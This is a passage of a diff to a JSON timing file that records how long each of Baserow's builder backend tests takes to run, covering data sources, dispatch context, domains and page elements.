"tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_table_element_formula_migration_with_current_row_provider": 0.2637238760362379, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_translate_default_user_role_returns_same_role": 0.09265891701215878, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_translate_default_user_role_returns_translated_role": 0.1696489579626359, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_user_data_provider_get_data_chunk": 0.09374933398794383, + "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_create_data_source": 0.09750183398136869, + "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_delete_data_source": 0.10718641697894782, + "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_dispatch_data_source": 0.17104687602841295, + "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_dispatch_data_source_doesnt_return_formula_field_names": 0.28938012500293553, + "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_dispatch_data_sources": 0.18064812500961125, + "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_get_data_source": 0.11263708199840039, + "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_get_data_source_does_not_exist": 0.02652541597490199, "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_get_data_sources": 0.5630170409995117, - "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_move_data_source_before": 0.5710090849997869, - "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_move_data_source_before_fails": 0.5542184179994365, - "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_move_data_source_end_of_page": 0.5844184990010035, - "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_recalculate_full_orders": 1.6490400419997968, - "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_update_data_source": 0.28361033299916016, - "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_update_data_source_change_type": 0.29220783499931713, - "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_update_data_source_invalid_values": 0.2817036250007732, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_create_data_source": 0.15329345899954205, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_create_data_source_before": 0.1523001249988738, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_create_data_source_before_not_same_page": 0.2890207919999739, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_create_data_source_permission_denied": 0.14773862500078394, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_create_data_source_with_service_type_for_different_dispatch_type": 0.14978841700030898, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_delete_data_source": 0.15335595800024748, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_delete_data_source_permission_denied": 0.30382079199807777, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_dispatch_data_source": 0.18043962399951852, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_dispatch_data_source_improperly_configured": 0.15276012499998615, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_dispatch_data_source_permission_denied": 0.17081400000097346, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_dispatch_page_data_sources": 0.20066074900023523, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_get_data_source": 0.15088562499931868, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_get_data_source_does_not_exist": 0.14473570800146263, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_get_data_source_permission_denied": 0.14905137499954435, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_get_data_sources": 0.5718447079998441, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_get_unique_orders_before_data_source_triggering_full_page_order_reset": 0.15741416700075206, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_move_data_source": 0.28863258399996994, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_move_data_source_not_same_page": 0.2955339170002844, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_move_data_source_permission_denied": 0.2846030830005475, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_move_data_source_trigger_order_recalculed": 0.15452770899901225, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_recalculate_full_order": 0.15122212400001445, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_update_data_source": 0.15077304099941102, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_update_data_source_permission_denied": 0.30633779100026004, - "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_update_data_source_with_service_type_for_different_dispatch_type": 0.15012483300051827, + "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_get_data_sources[False]": 0.11132941802497953, + "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_get_data_sources[True]": 0.12605516600888222, + "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_get_data_sources_with_shared": 0.1274273750022985, + "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_move_data_source_before": 0.11268974994891323, + "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_move_data_source_before_fails": 0.10761533200275153, + "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_move_data_source_end_of_page": 0.11432841699570417, + "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_query_data_sources_excludes_trashed_service": 0.18907908297842368, + "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_recalculate_full_orders": 0.22393979199114256, + "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_update_data_source": 0.10025945797679015, + "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_update_data_source_change_page": 0.10125004200381227, + "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_update_data_source_change_page_with_conflict": 0.09911100100725889, + "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_update_data_source_change_page_with_conflict_but_name": 0.10227362503064796, + "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_update_data_source_change_type": 0.11231312502059154, + "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_update_data_source_invalid_values": 0.10965958298766054, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_create_data_source": 0.10666316605056636, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_create_data_source_before": 0.10680291501921602, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_create_data_source_before_not_same_page": 0.16902845801087096, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_create_data_source_permission_denied": 0.09549245901871473, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_create_data_source_with_service_type_for_different_dispatch_type": 0.09624212398193777, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_delete_data_source": 0.10127070799353532, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_delete_data_source_permission_denied": 0.33068145797005855, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_dispatch_data_source": 0.18117637597606517, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_dispatch_data_source_improperly_configured": 0.10299079201649874, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_dispatch_data_source_permission_denied": 0.15558541601058096, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_dispatch_data_sources_excludes_unused_fields_in_list_data_sources[data_source_fruit_names0]": 0.20326624999870546, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_dispatch_data_sources_excludes_unused_fields_in_non_list_data_sources[data_source_row_ids0]": 0.1620268329861574, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_dispatch_data_sources_excludes_unused_fields_in_non_list_data_sources[data_source_row_ids1]": 0.18680758401751518, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_dispatch_data_sources_excludes_unused_fields_in_non_list_data_sources[data_source_row_ids2]": 0.22836158197605982, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_dispatch_data_sources_skips_exceptions_in_results": 0.1026778329978697, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_dispatch_page_data_sources": 0.17231737400288694, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_get_data_source": 0.0965463760367129, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_get_data_source_does_not_exist": 0.08724604200688191, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_get_data_source_permission_denied": 0.09964650101028383, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_get_data_sources": 0.1492984979704488, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_get_unique_orders_before_data_source_triggering_full_page_order_reset": 0.11099908297182992, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_move_data_source": 0.11453591598547064, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_move_data_source_not_same_page": 0.10405816600541584, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_move_data_source_permission_denied": 0.09739316700142808, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_move_data_source_trigger_order_recalculed": 0.10704370800522156, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_recalculate_full_order": 0.0986400839756243, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_update_data_source": 0.09913595800753683, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_update_data_source_external_page": 0.10072520899120718, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_update_data_source_permission_denied": 0.3218696660187561, + "tests/baserow/contrib/builder/data_sources/test_data_source_service.py::test_update_data_source_with_service_type_for_different_dispatch_type": 0.1000607919995673, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_builder_dispatch_context_field_names_computed_on_param[only_expose_public_allowed_properties0]": 0.014095460006501526, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_builder_dispatch_context_field_names_computed_on_param[only_expose_public_allowed_properties1]": 0.014699832972837612, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_builder_dispatch_context_field_names_computed_on_param[only_expose_public_allowed_properties2]": 0.01397058300790377, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_builder_dispatch_context_field_names_computed_on_param[only_expose_public_allowed_properties3]": 0.013822041975799948, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_builder_dispatch_context_public_allowed_properties_is_cached": 0.2749494159943424, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_dispatch_context_element_type": 0.1825102079892531, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_dispatch_context_filters": 0.012801458069588989, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_dispatch_context_is_publicly_filterable[collection_element_type0]": 0.09769899901584722, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_dispatch_context_is_publicly_filterable[collection_element_type1]": 0.09595904298475944, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_dispatch_context_is_publicly_filterable[collection_element_type2]": 0.09811983298277482, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_dispatch_context_is_publicly_searchable[collection_element_type0]": 0.09959141703438945, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_dispatch_context_is_publicly_searchable[collection_element_type1]": 0.09791295701870695, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_dispatch_context_is_publicly_searchable[collection_element_type2]": 0.09905054097180255, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_dispatch_context_is_publicly_sortable[collection_element_type0]": 0.09835808296338655, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_dispatch_context_is_publicly_sortable[collection_element_type1]": 0.09604141602176242, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_dispatch_context_is_publicly_sortable[collection_element_type2]": 0.09353850001934916, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_dispatch_context_page_clone": 0.14311679103411734, "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_dispatch_context_page_from_context": 0.14731045799908316, - "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_dispatch_context_page_range": 0.008577791000789148, - "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_create_domain": 0.014485081999737304, - "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_delete_domain": 0.14873704199999338, - "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_domain_publishing": 0.6399581670011685, - "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_get_domain": 0.14888145799977792, - "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_get_domain_base_queryset": 0.14801829200041539, - "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_get_domain_domain_does_not_exist": 0.011683834000905335, - "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_get_domains": 0.2814087089991517, - "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_get_public_builder_by_name": 0.1484003749992553, - "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_get_published_builder_by_missing_domain_name": 0.14535629199963296, - "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_get_published_builder_for_trashed_builder": 0.28722970799935865, - "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_order_domains": 0.28333600100177136, - "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_order_domains_domain_not_in_builder": 0.2824953750005079, - "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_update_domain": 0.14733258399974147, - "tests/baserow/contrib/builder/domains/test_domain_permission_manager.py::test_allow_public_builder_manager_type": 0.7014411659993129, - "tests/baserow/contrib/builder/domains/test_domain_service.py::test_async_publish_domain": 0.45101195799998095, - "tests/baserow/contrib/builder/domains/test_domain_service.py::test_async_publish_domain_no_permission": 0.4675459170002796, - "tests/baserow/contrib/builder/domains/test_domain_service.py::test_create_domain_user_not_in_workspace": 0.14697679100027017, - "tests/baserow/contrib/builder/domains/test_domain_service.py::test_delete_domain_user_not_in_workspace": 0.4520350430002509, - "tests/baserow/contrib/builder/domains/test_domain_service.py::test_domain_created_signal_sent": 0.15101287600009528, - "tests/baserow/contrib/builder/domains/test_domain_service.py::test_domain_deleted_signal_sent": 0.28278966800007765, - "tests/baserow/contrib/builder/domains/test_domain_service.py::test_domain_updated_signal_sent": 0.2837155819988766, - "tests/baserow/contrib/builder/domains/test_domain_service.py::test_domains_reordered_signal_sent": 0.4155729579997569, - "tests/baserow/contrib/builder/domains/test_domain_service.py::test_get_domain_user_not_in_workspace": 0.2822015409992673, - "tests/baserow/contrib/builder/domains/test_domain_service.py::test_get_domains_partial_permissions": 0.4161690009996164, - "tests/baserow/contrib/builder/domains/test_domain_service.py::test_get_domains_user_not_in_workspace": 0.28152520899948286, - "tests/baserow/contrib/builder/domains/test_domain_service.py::test_get_published_builder_by_domain_name": 0.28574299899901234, - "tests/baserow/contrib/builder/domains/test_domain_service.py::test_get_published_builder_by_domain_name_unauthorized": 0.282554250999965, - "tests/baserow/contrib/builder/domains/test_domain_service.py::test_order_domains_domain_not_in_builder": 0.41812483399917255, - "tests/baserow/contrib/builder/domains/test_domain_service.py::test_order_domains_user_not_in_workspace": 0.41397279200009507, - "tests/baserow/contrib/builder/domains/test_domain_service.py::test_publish_domain": 0.29741145799926016, - "tests/baserow/contrib/builder/domains/test_domain_service.py::test_publish_domain_unauthorized": 0.2813013339991812, - "tests/baserow/contrib/builder/domains/test_domain_service.py::test_update_domain_invalid_values": 0.28378966599939304, - "tests/baserow/contrib/builder/domains/test_domain_service.py::test_update_domain_user_not_in_workspace": 0.28125616800025455, - "tests/baserow/contrib/builder/domains/test_publish_domain_job_type.py::test_publish_domain_job_type": 0.5070570830012002, - "tests/baserow/contrib/builder/domains/test_publish_domain_job_type.py::test_publish_domain_job_type_with_deleted_domain": 0.331263541998851, - "tests/baserow/contrib/builder/elements/test_boolean_collection_field_type.py::test_class_properties_are_set": 0.007774208999762777, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_dispatch_context_page_range": 0.013616291980724782, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_dispatch_context_search_query": 0.013631498964969069, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_dispatch_context_searchable_fields": 0.17813508299877867, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_dispatch_context_sortings": 0.013131376006640494, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_get_element_property_options": 0.17501191698829643, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_get_timezone_name_base": 0.09320900001330301, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_get_timezone_name_specific": 0.09250574902398512, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_validate_filter_search_sort_fields[property_option_params0]": 0.17450199997983873, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_validate_filter_search_sort_fields[property_option_params1]": 0.17851358302868903, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_validate_filter_search_sort_fields[property_option_params2]": 0.1744429580285214, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_validate_filter_search_sort_fields_without_collection_element": 0.16308958298759535, + "tests/baserow/contrib/builder/data_sources/test_dispatch_context.py::test_validate_filter_search_sort_fields_without_element": 0.01322270798846148, + "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_create_domain": 0.024128457996994257, + "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_delete_domain": 0.09619879300589673, + "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_domain_publishing": 0.48501858400413767, + "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_get_domain": 0.09221783396787941, + "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_get_domain_base_queryset": 0.09558712504804134, + "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_get_domain_domain_does_not_exist": 0.01625416599563323, + "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_get_domain_for_builder": 0.2429086659976747, + "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_get_domain_public_url": 0.17903720901813358, + "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_get_domains": 0.1650860839872621, + "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_get_public_builder_by_name": 0.099134124990087, + "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_get_published_builder_by_missing_domain_name": 0.09582862499519251, + "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_get_published_builder_for_trashed_builder": 0.4055600820283871, + "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_get_published_domain_applications": 0.2634185840142891, + "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_order_domains": 0.16901150002377108, + "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_order_domains_domain_not_in_builder": 0.16471900005126372, + "tests/baserow/contrib/builder/domains/test_domain_handler.py::test_update_domain": 0.0939417919726111, + "tests/baserow/contrib/builder/domains/test_domain_permission_manager.py::test_allow_public_builder_manager_type": 0.26135416599572636, + "tests/baserow/contrib/builder/domains/test_domain_service.py::test_async_publish_domain": 0.40370141598396003, + "tests/baserow/contrib/builder/domains/test_domain_service.py::test_async_publish_domain_no_permission": 0.3957440829544794, + "tests/baserow/contrib/builder/domains/test_domain_service.py::test_create_domain_user_not_in_workspace": 0.09374812402529642, + "tests/baserow/contrib/builder/domains/test_domain_service.py::test_delete_domain_user_not_in_workspace": 0.41144083297695033, + "tests/baserow/contrib/builder/domains/test_domain_service.py::test_domain_created_signal_sent": 0.09809924897854216, + "tests/baserow/contrib/builder/domains/test_domain_service.py::test_domain_deleted_signal_sent": 0.16408774998853914, + "tests/baserow/contrib/builder/domains/test_domain_service.py::test_domain_updated_signal_sent": 0.16706799902021885, + "tests/baserow/contrib/builder/domains/test_domain_service.py::test_domains_reordered_signal_sent": 0.23672637398703955, + "tests/baserow/contrib/builder/domains/test_domain_service.py::test_get_domain_user_not_in_workspace": 0.16663233301369473, + "tests/baserow/contrib/builder/domains/test_domain_service.py::test_get_domains_partial_permissions": 0.2344962910283357, + "tests/baserow/contrib/builder/domains/test_domain_service.py::test_get_domains_user_not_in_workspace": 0.16434508399106562, + "tests/baserow/contrib/builder/domains/test_domain_service.py::test_get_published_builder_by_domain_name": 0.17161312501411885, + "tests/baserow/contrib/builder/domains/test_domain_service.py::test_get_published_builder_by_domain_name_unauthorized": 0.1711108740128111, + "tests/baserow/contrib/builder/domains/test_domain_service.py::test_order_domains_domain_not_in_builder": 0.23956920800264925, + "tests/baserow/contrib/builder/domains/test_domain_service.py::test_order_domains_user_not_in_workspace": 0.23244033195078373, + "tests/baserow/contrib/builder/domains/test_domain_service.py::test_publish_domain": 0.20572387598804198, + "tests/baserow/contrib/builder/domains/test_domain_service.py::test_publish_domain_unauthorized": 0.15694229200016707, + "tests/baserow/contrib/builder/domains/test_domain_service.py::test_update_domain_invalid_values": 0.16296729200985283, + "tests/baserow/contrib/builder/domains/test_domain_service.py::test_update_domain_user_not_in_workspace": 0.1636479590088129, + "tests/baserow/contrib/builder/domains/test_publish_domain_job_type.py::test_publish_domain_job_type": 0.4524813330208417, + "tests/baserow/contrib/builder/domains/test_publish_domain_job_type.py::test_publish_domain_job_type_with_deleted_domain": 0.32667108200257644, + "tests/baserow/contrib/builder/elements/mixins/test_collection_element_type_mixin.py::test_extract_properties": 0.2187260419887025, + "tests/baserow/contrib/builder/elements/mixins/test_collection_element_type_mixin.py::test_import_context_addition_sets_schema_property": 0.23577845701947808, + "tests/baserow/contrib/builder/elements/mixins/test_collection_element_type_mixin.py::test_import_export_collection_element_type": 0.5351333750295453, + "tests/baserow/contrib/builder/elements/mixins/test_collection_element_type_mixin.py::test_mixin_prepare_value_for_db": 0.015876666002441198, + "tests/baserow/contrib/builder/elements/test_boolean_collection_field_type.py::test_class_properties_are_set": 0.013098791998345405, "tests/baserow/contrib/builder/elements/test_boolean_collection_field_type.py::test_deserialize_property_returns_value_from_import_formula": 0.009553870069794357, - "tests/baserow/contrib/builder/elements/test_boolean_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[ -1]": 0.008236957997723948, - "tests/baserow/contrib/builder/elements/test_boolean_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[ -None]": 0.00795516700236476, - "tests/baserow/contrib/builder/elements/test_boolean_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[-1]": 0.008126749999064486, - "tests/baserow/contrib/builder/elements/test_boolean_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[-None]": 0.008261291000962956, - "tests/baserow/contrib/builder/elements/test_boolean_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[vallue-1]": 0.007840168000257108, + "tests/baserow/contrib/builder/elements/test_boolean_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[ -1]": 0.012782667006831616, + "tests/baserow/contrib/builder/elements/test_boolean_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[ -None]": 0.013277832011226565, + "tests/baserow/contrib/builder/elements/test_boolean_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[-1]": 0.013195165985962376, + "tests/baserow/contrib/builder/elements/test_boolean_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[-None]": 0.013162666029529646, + "tests/baserow/contrib/builder/elements/test_boolean_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[vallue-1]": 0.013005333981709555, "tests/baserow/contrib/builder/elements/test_boolean_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[value-None]": 0.009100540890358388, - "tests/baserow/contrib/builder/elements/test_boolean_collection_field_type.py::test_import_export_boolean_collection_field_type": 0.46784670899978664, - "tests/baserow/contrib/builder/elements/test_boolean_collection_field_type.py::test_serializer_field_overrides_returns_expected_value": 0.007611959001224022, - "tests/baserow/contrib/builder/elements/test_button_collection_field_type.py::test_class_properties_are_set": 0.00805324999964796, - "tests/baserow/contrib/builder/elements/test_button_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[ -1]": 0.007692832999964594, - "tests/baserow/contrib/builder/elements/test_button_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[ -None]": 0.008362791999388719, - "tests/baserow/contrib/builder/elements/test_button_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[-1]": 0.007927456999823335, - "tests/baserow/contrib/builder/elements/test_button_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[-None]": 0.00784650000059628, - "tests/baserow/contrib/builder/elements/test_button_collection_field_type.py::test_import_export_button_collection_field_type": 0.46055037600035575, - "tests/baserow/contrib/builder/elements/test_button_collection_field_type.py::test_serializer_field_overrides_returns_expected_value": 0.0083667909984797, - "tests/baserow/contrib/builder/elements/test_column_element_type.py::test_apply_order_by_children": 0.562898291998863, - "tests/baserow/contrib/builder/elements/test_column_element_type.py::test_column_element_type_can_have_children": 0.20565370699932828, - "tests/baserow/contrib/builder/elements/test_column_element_type.py::test_get_new_place_in_container": 0.1492944580004405, - "tests/baserow/contrib/builder/elements/test_column_element_type.py::test_get_places_in_container_removed": 0.14810845900046843, - "tests/baserow/contrib/builder/elements/test_column_element_type.py::test_validate_place_in_container": 0.14824545799910993, - "tests/baserow/contrib/builder/elements/test_container_element.py::test_column_element_can_have_children": 0.15271708399995987, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_before_places_in_container_removed": 0.4290347509995627, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_before_places_in_container_removed_no_change": 0.42856087500058493, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[auth_form]": 0.1501785820000805, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[button]": 0.15023729099902994, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[checkbox]": 0.14967866699953447, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[choice]": 0.17811958199945366, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[column]": 0.1486475830006384, + "tests/baserow/contrib/builder/elements/test_boolean_collection_field_type.py::test_import_export_boolean_collection_field_type": 0.3306714579812251, + "tests/baserow/contrib/builder/elements/test_boolean_collection_field_type.py::test_serializer_field_overrides_returns_expected_value": 0.013141335046384484, + "tests/baserow/contrib/builder/elements/test_button_collection_field_type.py::test_class_properties_are_set": 0.013125876022968441, + "tests/baserow/contrib/builder/elements/test_button_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[ -1]": 0.013113418011926115, + "tests/baserow/contrib/builder/elements/test_button_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[ -None]": 0.013892000017222017, + "tests/baserow/contrib/builder/elements/test_button_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[-1]": 0.012925209011882544, + "tests/baserow/contrib/builder/elements/test_button_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[-None]": 0.013020790996961296, + "tests/baserow/contrib/builder/elements/test_button_collection_field_type.py::test_import_export_button_collection_field_type": 0.3254296670493204, + "tests/baserow/contrib/builder/elements/test_button_collection_field_type.py::test_serializer_field_overrides_returns_expected_value": 0.01281937598832883, + "tests/baserow/contrib/builder/elements/test_column_element_type.py::test_apply_order_by_children": 0.34106458295718767, + "tests/baserow/contrib/builder/elements/test_column_element_type.py::test_column_element_type_can_have_children": 0.22027145797619596, + "tests/baserow/contrib/builder/elements/test_column_element_type.py::test_get_new_place_in_container": 0.09618479298660532, + "tests/baserow/contrib/builder/elements/test_column_element_type.py::test_get_places_in_container_removed": 0.09876729198731482, + "tests/baserow/contrib/builder/elements/test_column_element_type.py::test_validate_place_in_container": 0.1029321669775527, + "tests/baserow/contrib/builder/elements/test_container_element.py::test_column_element_can_have_children": 0.11040920799132437, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_before_places_in_container_removed": 0.26628800001344644, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_before_places_in_container_removed_no_change": 0.2601300010283012, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[auth_form]": 0.09632566801155917, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[button]": 0.09574995798175223, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[checkbox]": 0.09700312500353903, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[choice]": 0.10071383297326975, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[column]": 0.09542600001441315, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[datetime_picker]": 0.10029624897288159, "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[dropdown]": 0.09302238107193261, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[form_container]": 0.1482863749997705, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[heading]": 0.14999741700103186, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[iframe]": 0.149448250000205, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[image]": 0.14723687399873597, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[input_text]": 0.14653083300072467, - "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[link]": 0.14827154200065706, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[footer]": 0.09839666698826477, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[form_container]": 0.0995352919853758, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[header]": 0.10061354102799669, + "tests/baserow/contrib/builder/elements/test_element_handler.py::test_create_element[heading]": 0.10061837401008233, + 